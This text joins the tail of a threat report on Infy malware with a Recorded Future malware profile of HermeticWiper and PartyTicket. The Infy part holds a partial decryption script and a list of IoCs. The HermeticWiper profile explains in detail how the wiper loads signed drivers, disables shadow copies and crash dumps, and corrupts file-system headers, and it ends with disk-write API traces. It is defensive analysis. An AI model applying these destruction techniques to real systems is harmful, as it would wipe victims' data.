131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 final_start  final[0:500] if final_start in UNIQUE_DATA: print comp_name   already have this data return UNIQUE_DATA.append(final_start) index  final.find(Installed Date:) if index-1: for i in range(1,61): dec_str  decrypt3(num_list,i) final  sub_1_for_hex(dec_str) print all 62 options index2  final.find(PROGRAM START:) index3  final.find(Installed Date:) if not index2 -1 or not index3 -1: decrypt_data  str(i)  :   final  \n write_enc_infy_data_to_file(decrypt_data,comp_name,FILE_OUTPUT_NAME) def read_enc_data_files(): for root,dir,files in os.walk(PDML_PATH): for file in files: filename  root \\  file if os.path.isfile(filename): print filename for line in fileinput.input([filename]): line  line.strip() is_found,found_infy_index found_infy_enc_data(line) if not is_found: continue 10/13 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 line  line[found_infy_index:] get computer name (for use in init_key() later) comp_name  extract_comp_name(line) UNIQUE_COMP.append(comp_name) get the infy encrypted data line  extract_enc_data(line) base64 decode enc_data dec_line  line.decode(base64) append enc_data to file write_enc_infy_data_to_file(dec_line,comp_name,FILE_ENC_OUTPUT_NAME) enc_wrapper(dec_line,comp_name) try: read_enc_data_files() except: print exception Appendix 2 IoCs Infy version 31: f07e85143e057ee565c25db2a9f36491102d4e526ffb02c83e580712ec00eb27 Infy M version 8.0: 583349B7A2385A1E8DE682A43351798CA113CBBB80686193ECF9A61E6942786A 5.9.94.34 138.201.0.134 138.201.47.150 144.76.250.205 138.201.47.158 138.201.47.153 us1s2[.]strangled[.
]net uvps1[.]cotbm[.
]com gstat[.]strangled[.
]net secup[.]soon[.
]it p208[.]ige[.
]es lu[.]ige[.
]es updateserver1[.
]com updateserver3[.
]com updatebox4[.
]com bestupdateserver[.
]com bestupdateserver2[.
]com 11/13 bestbox3[.
]com safehostline[.
]com youripinfo[.
]com bestupser[.]awardspace[.
]info box4035[.
]net box4036[.
]net box4037[.
]net box4038[.
]net box4039[.
]net box4040[.
]net box4041[.
]net box4042[.
]net box4043[.
]net box4044[.
]net box4045[.
]net box4046[.
]net box4047[.
]net box4048[.
]net box4049[.
]net box4050[.
]net box4051[.
]net box4052[.
]net box4053[.
]net box4054[.
]net box4055[.
]net box4056[.
]net box4057[.
]net box4058[.
]net box4059[.
]net box4060[.
]net box4061[.
]net box4062[.
]net box4063[.
]net box4064[.
]net box4065[.
]net box4066[.
]net box4067[.
]net box4068[.
]net box4069[.
]net box4070[.
]net box4071[.
]net box4072[.
]net box4075[.
]net box4078[.
]net box4079[.
]net box4080[.
]net box4081[.
]net box4082[.
]net box4083[.
]net box4084[.
]net 12/13 box4085[.
]net box4086[.
]net box4087[.
]net box4088[.
]net box4089[.
]net box4090[.
]net 13/13 Prince of Persia  Game Over Summary Post Publication Sinkhole Victims Versions Game Over Appendix 1  Exfiltration Algorithm Appendix 2 IoCs
March 2, 2022 By Insikt Group MALWARE/ TOOLS PROFILE HermeticWiper and PartyTicket Targeting Computers in Ukraine Recorded Future  www.recordedfuture.com MTP-2022-03021 This report is a technical overview of the HermeticWiper and PartyTicket malware reported by ESET and Symantec on February 23, 2022.
The malware was primarily delivered to Ukrainian organizations coincident with the Russian invasion of Ukraine.
It is intended for those looking for a high-level overview of the malwares TTPs and mitigations.
Executive Summary Insikt Group analyzed the HermeticWiper malware and the associated ransomware component named PartyTicket that were first publicly reported targeting Ukrainian organizations on February 23, 2022.
We determined that both components serve the purpose of data destruction, with the ransomware component differing significantly in form and function from known criminal ransomware threats.
Key Judgments The use of a wiper malware with an associated destructive ransomware component is similar in method to WhisperGate, NotPetya, and other operations credited to Sandworm.
There is insufficient evidence at this time to attribute HermeticWiper to the Russian state, but the timing of the mass deployment of HermeticWiper with kinetic attacks and other cyberattacks on Ukraine, and a methodology similar to past attacks by Russian government- associated actors, lends credence to such an attribution.
The PartyTicket ransomware attacks are unlikely to be a true ransomware campaign conducted for financial gain.
It is more likely that the ransomware component is a ruse and the real purpose of the attacks are disruption and data destruction.
Background HermeticWiper, also known as FoxBlade, is a data wiper found targeting finance and government contractor organizations in Ukraine, Latvia, and Lithuania, according to Symantec.
ESET first reported that their telemetry indicated the malware was delivered to hundreds of systems in Ukraine, and the malware was executed on February 23, 2022, following DDoS attacks on Ukrainian websites earlier that day.
It was also reported by ESET that the malware was a signed executable, with a code-signing certificate issued to Hermetica Digital Ltd. Code-signing certificates allow malware to be more effectively deployed by bypassing detection capabilities, such as Microsoft Defender SmartScreen and built-in browser protections.
The developer who operates Hermetica Digital Ltd. has publicly denied any involvement in the development of the malware, however.
Figure 1: The now-revoked Hermetica Digital Ltd. code signing certificate used to sign HermeticWiper (Source: Recorded Future) MALWARE/TOOL PROFILE http://www.recordedfuture.com https://www.bleepingcomputer.com/news/security/new-data-wiping-malware-used-in-destructive-attacks-on-ukraine/ https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://www.reuters.com/world/europe/cyprus-games-writer-denies-links-malware-found-before-russian-invasion-2022-02-24/ www.recordedfuture.com  Recorded Future  MTP-2022-0302 2 Microsoft reported that it identified the wiper attacks on February 24, 2022 and alerted the Ukrainian government.
Although no direct attribution of HermeticWiper has been made by security researchers at this time, the timing being coincident with other cyberattacks and physical attacks on Ukraine and a history of similar tactics by Russian state- associated actors in their use of data wipers in the past, including WhisperGate in January 2022 and NotPetya in 2017, suggest the involvement of a Russian state operation.
Technical Analysis Multiple infection vectors for the HermeticWiper malware have been reported by Symantec.
The delivery of the malware to a Ukrainian organization followed a Server Message Block (SMB)-based attack on a Microsoft Exchange server on December 23, 2021.
The adversary initially stole credentials, and a web shell was installed on January 16, 2022.
HermeticWiper was finally deployed on February 23, 2022.
A Lithuanian organization that received HermeticWiper was initially compromised in November 2021.
The delivery mechanism was suspected by Symantec as being an Apache Tomcat exploit that executed a malicious PowerShell command.
This attack similarly included a credential harvesting component, followed quickly by the delivery and execution of the wiper malware as a scheduled task.
In several of the attacks, a ransomware executable was delivered alongside HermeticWiper.
The victims received a ransomware notification providing 2 email addresses: vote2024forjbprotonmail[.
]com and stephanie.jones2024 protonmail[.
]com.
Symantec considers it likely that the ransomware component was used to distract the victims.
WhisperGate attacks used a similar methodology, wherein the attack was disguised as ransomware.
Both WhisperGate and HermeticWiper used separate components to prevent a victims system from booting and file corruption however, the component that played the role of ransomware changed between the 2 attacks.
With WhisperGate, the wiper itself masqueraded as ransomware however, with the HermeticWiper attacks, it was the file corrupter instead.
ESET reported that in one instance they observed, the malware was dropped via default Group Policy Objects (GPO), indicating that the adversaries almost certainly had control of an Active Directory server on the network.
HermeticWiper HermeticWipers primary purpose is to corrupt the NTFS and/or FAT file systems of a victims machine to prevent it from booting correctly.
It was written in Visual Studio 2008 and 2015 in a combination of C and assembly and uses an included kernel driver to implement much of its disk access functionality.
The use of a kernel driver instead of conventional Windows API calls is thought to evade detections that may catch the higher-level API calls being made.
The compiler timestamps for 2 samples show that they were compiled on December 28, 2021, and 1 other sample shows February 23, 2022.
Although timestamps can be forged, the timestamp from December 28, 2021, could be used to determine how far in advance this operation was planned.
Each sample is signed using what was, at the time, a valid certificate issued to Hermetica Digital Ltd.
Since the malwares discovery, the certificate has since been revoked by the Certificate Authority, as shown in Figure 1 above.
Upon execution, the wiper adjusts its process token privileges to acquire SeBackupPrivilege and SeShutdownPrivilege in order to obtain read privileges to any files and eventually shut down the system before terminating.
Next, it determines the Windows version and bitness (x86 or x86_64) of the victims machine in order to determine which kernel driver, located in the PEs resource section, to later load.
The kernel drivers are legitimate, benign software used by EaseUSs Partition Master and are signed with a certificate issued to EaseUSs parent company, CHENGDU YIWO Tech Development Co., Ltd., shown in Figure 2 below.
Although the certificate has expired, newer versions of Windows 10 allow exceptions for kernel drivers with certificates issued before July 29, 2015, to be loaded.
MALWARE/TOOL PROFILE http://www.recordedfuture.com https://blogs.microsoft.com/on-the-issues/2022/02/28/ukraine-russia-digital-war-cyberattacks/ https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/ https://threatpost.com/doj-charges-6-sandworm-apt-members-in-notpetya-cyberattacks/160304/ https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia https://blog.talosintelligence.com/2022/02/threat-advisory-hermeticwiper.html https://docs.microsoft.com/en-us/windows-hardware/drivers/install/kernel-mode-code-signing-policy--windows-vista-and-later- Recorded Future  www.recordedfuture.com MTP-2022-03023 The kernel drivers are stored as RCDATA in the PE files resource section, as shown in Figure 3 below.
Each driver is compressed using Microsofts SZDD file format, based on the LempelZivStorerSzymanski (LZSS) algorithm.
After locating the correct driver, the wiper then proceeds to disable WoW64 File System Redirection if the victim is running a 64-bit OS.
This prevents 64-bit systems from loading 32-bit kernel drivers from the windir\SysWOW64\drivers directory and instead forces them to use windir\system32\drivers, where the malware will eventually place the kernel driver.
Next, Crash Dumps are disabled by modifying the registry value CrashDumpEnabled to 0 for the key HKLM\SYSTEM\ CurrentControlSet\Control\CrashControl.
This is likely done to avoid writing a crash dump to disk when the program terminates.
The compressed driver resource is then written to the windir\system32\drivers directory with a name consisting of 2 pseudorandom lowercase characters followed by dr.
Then the driver is decompressed, and a service with the same name is temporarily created to load the driver.
To create the service, the processs token privileges are adjusted again to add SeLoadDriverPrivilege.
A service is then created, configured, and started.
Once the driver is successfully loaded, the created services registry entry is removed from HKLM\SYSTEM\CurrentControlSet\services\.
Next, the Volume Shadow Service (VSS) is stopped and disabled, as shown in Figure 4, to make recovery more difficult.
The wiper then begins to iterate through all physical drives on the system one at a time by attempting to access \\.\PhysicalDrive1-100.
For each drive, junk data is written to seemingly random locations of the disk in order to corrupt it.
Additionally, the partitions on each physical disk are enumerated and any identified as FAT or NTFS file systems are corrupted by writing random data to the file system header.
Although public reporting has stated that the MBR is wiped, which typically means the MBR is overwritten, in our analysis we have concluded that only the file system is corrupted along with random locations on the disk.
The end result similarly results in a loss of the stored data and inability of the victim machine to boot.
Appendix A provides the output from a tool, API Monitor, that captured the SetFilePointerEX and WriteFile API calls used to corrupt the hard drives on the victims machine.
There were no writes to the 0 index, where the MBR would reside, however there are writes to the index, 1048576, which is the location of the NTFS file system header.
The additional writes are to seemingly random locations on disk.
The corruption of the file systems goes beyond a simple MBR overwrite and is more effective because it impacts a victims ability to boot regardless of the disk partitioning scheme (i.e., MBR, GPT).
This technique is more robust than the MBR overwrite used in the WhisperGate attacks, where we showed that GPT-style disks could recover from the MBR overwrite.
After corrupting the file system the wiper disables the ShowCompColor and ShowInfoTip values in the Software\ Microsoft\CurrentVersion\Explorer\Advanced registry key in order to prevent encrypted NTFS files from showing in color and showing pop-up descriptions for folders, respectively.
Then it proceeds to corrupt logs and data on NTFS file systems.
Finally, the wiper attempts to shut the system down with a call to InitiateSystemShutdownExW.
Once the victim machine is rebooted, the user is presented with an error message indicating that their system cannot boot.
In the case of MBR-style disks, the victim is presented with a message similar to the one shown in Figure 5 or in the case of GPT-style disks, the one shown in Figure 6.
In both cases, although the MBR is still intact, the system is unable to boot due to the corrupted file system partition containing the Operating System.
Figure 2: Certificate used to sign EaseUS Partition Master drivers (Source: Recorded Future) MALWARE/TOOL PROFILE http://www.recordedfuture.com http://www.cabextract.org.uk/libmspack/doc/szdd_kwaj_format.html https://go-compression.github.io/algorithms/lzss/ https://docs.microsoft.com/en-us/windows/win32/winprog64/file-system-redirector http://www.rohitab.com/apimonitor https://www.recordedfuture.com/whispergate-malware-corrupts-computers-ukraine/ www.recordedfuture.com  Recorded Future  MTP-2022-0302 4 Figure 3: SZDD compressed resources stored in the resource section of the wiper (Source: Recorded Future) Figure 4: Disabling and stopping the VSS service (Source: Recorded Future) MALWARE/TOOL PROFILE http://www.recordedfuture.com Recorded Future  www.recordedfuture.com MTP-2022-03025 Figure 5: Boot screen after infection on a MBR disk (Source: Recorded Future) Figure 6: Boot screen after infection on a GPT disk (Source: Recorded Future) PartyTicket Insikt Group analyzed the ransomware associated with the HermeticWiper malware, dubbed PartyTicket.
The ransomware contained several path strings and function names that allude to the White House, Joe Biden, and elections, among other topics, seen below in Figures 7 and 8.
Figure 7: Paths contained in the ransomware (Source: Recorded Future) Figure 8: Ransomware function names (Source: Recorded Future) Similarly, the ransom note dropped by the malware contained email addresses on similar topics, and the encrypted files were renamed with the suffix [vote2024forjbprotonmail[.
]com].
encryptedJB, as shown in Figure 10.
Figure 9: Example of encrypted file with extension (Source: Recorded Future) Figure 10 below shows the ransomware note dropped by PartyTicket.
While Insikt Group cannot currently attribute the ransomware to any specific group, the note differs substantially from that of other ransomware groups we have seen.
MALWARE/TOOL PROFILE http://www.recordedfuture.com www.recordedfuture.com  Recorded Future  MTP-2022-0302 6 Figure 10: Ransom note (Source: Recorded Future) There is no branding identifying a particular ransomware group responsible for the attack, and there are several misspellings and grammatical errors throughout the note.
As a result, the ransomware component of the HermeticWiper malware is unlikely to have been developed and distributed by a criminal ransomware group.
Further, the malware contains a list of files, shown in Figure 12 below, that it seeks to encrypt.
Unlike all other recent, criminal-operated ransomware variants, this list includes files that are key to the ability of the victim system to operate, including .dll and .exe files.
This further suggests that this is not legitimate ransomware but rather a destructive piece of malware.
-inf .acl, .avi .bat .bmp .cab .cfg .chm .cmd .com .crt .css .dat .dip .dll .doc .dot .exe .gif .htm .ico .iso .jpg .mp3 .msi .odt .one .ova .pdf .png .ppt .pub .rar .rtf .sfx .sql .txt .url .vdi .vsd .wma .wmv .wtv .xls .xml .xps .zip Figure 11: File extensions the ransomware seeks to encrypt (Source: Recorded Future) MALWARE/TOOL PROFILE http://www.recordedfuture.com Recorded Future  www.recordedfuture.com MTP-2022-03027 Mitigations The compromised systems leading to the delivery of the wiper have involved exploitation of vulnerable systems: a Microsoft Exchange server, and an Apache Tomcat server.
Defenders concerned specifically about HermeticWiper should ensure that any such servers on their networks are fully updated and patched.
Similarly, enterprises should prioritize detection of web shells and exploitation on their perimeters.
Detection of a wiper malware at the point of execution is often too late in the kill chain to ensure continued organizational operations.
Focusing on the initial stages is important to avoid such malware being executed.
Endeavoring to prevent, detect and block early-stage activity observed in the delivery of HermeticWiper, such as malicious PowerShell usage and SMB exploitation, is thus recommended.
The adversary, nimble enough to exploit more than one type of system to deliver HermeticWiper, is likely capable of delivering malware to other vulnerable systems as well, and consistent patching and updating of all external-facing systems is therefore critical.
On February 26, 2022, CISA issued an alert concerning the use of destructive malware, specifically HermeticWiper and WhisperGate, against Ukrainian organizations.
General best practices and mitigations for wiper malware are provided in the alert.
By keeping updated on the current situation in Ukraine, in particular in the cyber realm, an organization can better prioritize patching and other mitigations based on what is currently known of potential threats.
Insikt Group has provided 2 YARA rules to detect HermeticWiper and PartyTicket in Appendix B.
Outlook This is the second destructive malware that has emerged over the past month, coinciding with the timing of attacks on Ukraine, and exhibiting a methodology similar to past attacks by Russian government-associated actors.
We expect further cyberattacks or malicious tools to emerge and be used to destroy data and cause other disruptions.
While there is not enough evidence to tie either of these wipers to a specific threat actor or group, HermeticWipers similarities to previous Russian state-linked malware variants, such as NotPetya, could suggest some relationship.
MALWARE/TOOL PROFILE http://www.recordedfuture.com https://www.cisa.gov/uscert/ncas/alerts/aa22-057a www.recordedfuture.com  Recorded Future  MTP-2022-0302 8 Appendix A: SetFilePointerEx and WriteFile Windows API Calls The table below shows the output from the tool API Monitor and was specifically capturing the API calls SetFilePointerEx, WriteFile, and wnsprintfw.
To get the drive index location that SetFilePointerEx is pointing to, you must combine the HighPart and LowPart values to get the full index.
For example, the full index for the call,  SetFilePointerEx ( 0x0000026c,  u   LowPart 2539999232, HighPart  17 , QuadPart  75554443264 , NULL, FILE_BEGIN ) would be 172539999232.
Module API 1bc44.exe wnsprintfW ( , 260, \\.\EPMNTDRV\u, ... ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2539999232, HighPart  17 , QuadPart  75554443264 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540003328, HighPart  17 , QuadPart  75554447360 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540007424, HighPart  17 , QuadPart  75554451456 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540011520, HighPart  17 , QuadPart  75554455552 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540015616, HighPart  17 , QuadPart  75554459648 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540019712, HighPart  17 , QuadPart  75554463744 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540023808, HighPart  17 , QuadPart  75554467840 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540027904, HighPart  17 , QuadPart  75554471936 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540032000, HighPart  17 , QuadPart  75554476032 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540036096, HighPart  17 , QuadPart  75554480128 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540040192, HighPart  17 , QuadPart  75554484224 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540044288, HighPart  17 , QuadPart  75554488320 , NULL, FILE_BEGIN ) MALWARE/TOOL PROFILE http://www.recordedfuture.com Recorded Future  www.recordedfuture.com MTP-2022-03029 Module API 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540048384, HighPart  17 , QuadPart  75554492416 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540052480, HighPart  17 , QuadPart  75554496512 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540056576, HighPart  17 , QuadPart  75554500608 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540060672, HighPart  17 , QuadPart  75554504704 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540064768, HighPart  17 , QuadPart  75554508800 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540068864, HighPart  17 , QuadPart  75554512896 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540072960, HighPart  17 , QuadPart  75554516992 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540077056, HighPart  17 , QuadPart  75554521088 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540081152, HighPart  17 , QuadPart  75554525184 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540085248, HighPart  17 , QuadPart  75554529280 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540089344, HighPart  17 , QuadPart  75554533376 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540093440, HighPart  17 , QuadPart  75554537472 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540097536, HighPart  17 , QuadPart  75554541568 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) MALWARE/TOOL PROFILE http://www.recordedfuture.com www.recordedfuture.com  Recorded Future  MTP-2022-0302 10 Module API 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540101632, HighPart  17 , QuadPart  75554545664 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540105728, HighPart  17 , QuadPart  75554549760 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540109824, HighPart  17 , QuadPart  75554553856 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2540113920, HighPart  17 , QuadPart  75554557952 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  393588736, HighPart  0 , QuadPart  393588736 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  393592832, HighPart  0 , QuadPart  393592832 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  393596928, HighPart  0 , QuadPart  393596928 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  393601024, HighPart  0 , QuadPart  393601024 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  393605120, HighPart  0 , QuadPart  393605120 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2068054016, HighPart  0 , QuadPart  2068054016 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2068058112, HighPart  0 , QuadPart  2068058112 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe SetFilePointerEx ( 0x0000026c,  u   LowPart  2068062208, HighPart  0 , QuadPart  2068062208 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x0000026c, 0x01587470, 4096, 0x044dfa68, NULL ) 1bc44.exe wnsprintfW ( , 260, \\.\PhysicalDriveu, ... ) 1bc44.exe wnsprintfW ( , 260, \\.\EPMNTDRV\u, ... ) 1bc44.exe SetFilePointerEx ( 0x00000204,  u   LowPart  1048576, HighPart  0 , QuadPart  1048576 , NULL, FILE_BEGIN ) MALWARE/TOOL PROFILE http://www.recordedfuture.com Recorded Future  www.recordedfuture.com MTP-2022-030211 Module API 1bc44.exe WriteFile ( 0x00000204, 0x0158ef48, 4096, 0x06b2f630, NULL ) 1bc44.exe wnsprintfW ( , 260, \\.\EPMNTDRV\u, ... ) 1bc44.exe SetFilePointerEx ( 0x00000214,  u   LowPart  3566206976, HighPart  0 , QuadPart  3566206976 , NULL, FILE_BEGIN ) 1bc44.exe wnsprintfW ( \\.\PhysicalDrive0, 260, \\.\PhysicalDriveu, ... ) 1bc44.exe SetFilePointerEx ( 0x00000248,  u   LowPart  2429767680, HighPart  2 , QuadPart  11019702272 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248,  u   LowPart  2429769728, HighPart  2 , QuadPart  11019704320 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248,  u   LowPart  2429771776, HighPart  2 , QuadPart  11019706368 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248,  u   LowPart  2429773824, HighPart  2 , QuadPart  11019708416 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248,  u   LowPart  2429775872, HighPart  2 , QuadPart  11019710464 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248,  u   LowPart  2429777920, HighPart  2 , QuadPart  11019712512 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248,  u   LowPart  2429779968, HighPart  2 , QuadPart  11019714560 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248,  u   LowPart  2429782016, HighPart  2 , QuadPart  11019716608 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248,  u   LowPart  2429784064, HighPart  2 , QuadPart  11019718656 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248,  u   LowPart  2429786112, HighPart  2 , QuadPart  11019720704 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248,  u   LowPart  4098506752, HighPart  2 , QuadPart  12688441344 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248,  u   LowPart  4098508800, HighPart  2 , QuadPart  12688443392 , NULL, FILE_BEGIN ) MALWARE/TOOL PROFILE http://www.recordedfuture.com www.recordedfuture.com  Recorded Future  MTP-2022-0302 12 Module API 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248,  u   LowPart  344981504, HighPart  0 , QuadPart  344981504 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248,  u   LowPart  344983552, HighPart  0 , QuadPart  344983552 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) 1bc44.exe SetFilePointerEx ( 0x00000248,  u   LowPart  1048576, HighPart  0 , QuadPart  1048576 , NULL, FILE_BEGIN ) 1bc44.exe WriteFile ( 0x00000248, 0x0158e538, 2048, 0x06c6f820, NULL ) MALWARE/TOOL PROFILE http://www.recordedfuture.com 